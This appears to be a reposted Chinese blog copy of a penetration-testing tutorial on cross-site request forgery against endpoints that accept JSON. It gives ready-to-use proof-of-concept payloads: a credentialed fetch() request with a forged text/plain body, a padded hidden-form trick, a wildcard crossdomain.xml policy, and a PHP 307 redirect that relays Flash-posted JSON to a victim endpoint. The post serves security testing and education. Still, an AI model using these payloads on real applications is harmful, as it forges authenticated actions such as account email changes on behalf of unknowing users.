【CSRF技巧拓展】————4、Exploiting JSON Cross Site Request Forgery (CSRF) using Flash

FLy_鹏程万里

于 2019-01-23 09:03:56 发布

阅读量319

点赞数

分类专栏：【渗透测试拓展】 # CSRF技巧拓展

【渗透测试拓展】同时被 2 个专栏收录

108 篇文章

订阅专栏

CSRF技巧拓展

5 篇文章

订阅专栏

Update 2:

For the Case 1, there is possibility in some cases where server reject the request due to extra padding of data, but there is another and best way, using fetch or XHR request we can submit the json formatted data without any limitations, added poc code for the same.

Thanks to Prakash for making me aware of this.

Update 1:

Great work by Evgeniy who edited and compiled the Flash file in a way where users can pass all the information including JSON data, php file & target endpoint via URL parameter, which not only make all those complex procedures simpler but also remove the hectic task to recompilation of flash file each time for the Case 2.

Here is the the updated flash and other files by Evgeniy.

Hello Friends!

Everyone knows about basic csrf attack, if not just go through this owasp page and burp engagement tools have easiest option to create csrf proof of concept for all kind of basic csrf attack including performing csrf via xhr request.

in this post i’m going to talk about csrf scenarios which i encountered many times and seen many researchers from community are curious about it, so i will try clear as much possible!

so this trick comes into play when post request data formatted into json format, eg: {“name”:”test”, “email”:”victim.com”}, which have 2 scenario.

CASE 1:

Server looking for json formatted data but don’t validate the Content-type

CASE 2:

Server looking for json formatted data and validate the Content-type as well, i.e application/json

Note: This csrf attack only works when the application do only rely either on json formatted data or Content-type application/json, and data format check, if there is any additional csrf token/referer check at place this will not work.

Exploiting Case 1:

This can be achieved with little HTML trick using name attribute with padding some extra data, simply can be done using Fetch request, as we know in this case server is only checking for the post data if it’s correctly formatted or not, if yes it will accept the request regardless the Content-type is set as text/plain

Now assume we have to submit this test data to the vulnerable application: {“name”:”attacker”,”email”:”attacker@gmail.com”}

Updated method:

<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>

Source: http://research.rootme.in/forging-content-type-header-with-flash

Old Method:

<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain" >
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>

This will make post request with valid json formatted data with padding some extra data, if the application don’t care about extra data which happened in most of cases i seen. if not, there is always 2nd way to use.

Source: http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html

Exploiting Case 2:

Here even if application is validating the Content-type and data format, this attack can be achieved using flash and 307 redirect.

Requirements:

Crafted Flash file
Crossdomain XML file
PHP file with 307 status code

CRAFTED FLASH FILE:

This flash (.swf) file have our json formatted data which attacker have to post on the target application, and link to hosted php file in it.

Here is the test SWF file, you can download and edit the contents as per your need, i do use FFDec on Windows for editing and compiling the flash file, you can check others based on your environment.

CROSSDOMAIN XML FILE:

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

This file should be hosted on attackers website’s root directory, so flash file can make request to attacker’s host.
Note: You don’t need crossdomain file if flash file & redirector page is on same domain.

PHP FILE WITH 307 STATUS CODE:

<?php

// redirect automatically

header("Location: https://victim.com/user/endpoint/", true, 307);

?>

Flash file request for this php file, this will make 307 redirect to mentioned application endpoint, and as 307 is special redirect which will post the JSON data as well which got received from the flash file to the target endpoint and CSRF will take place successfully.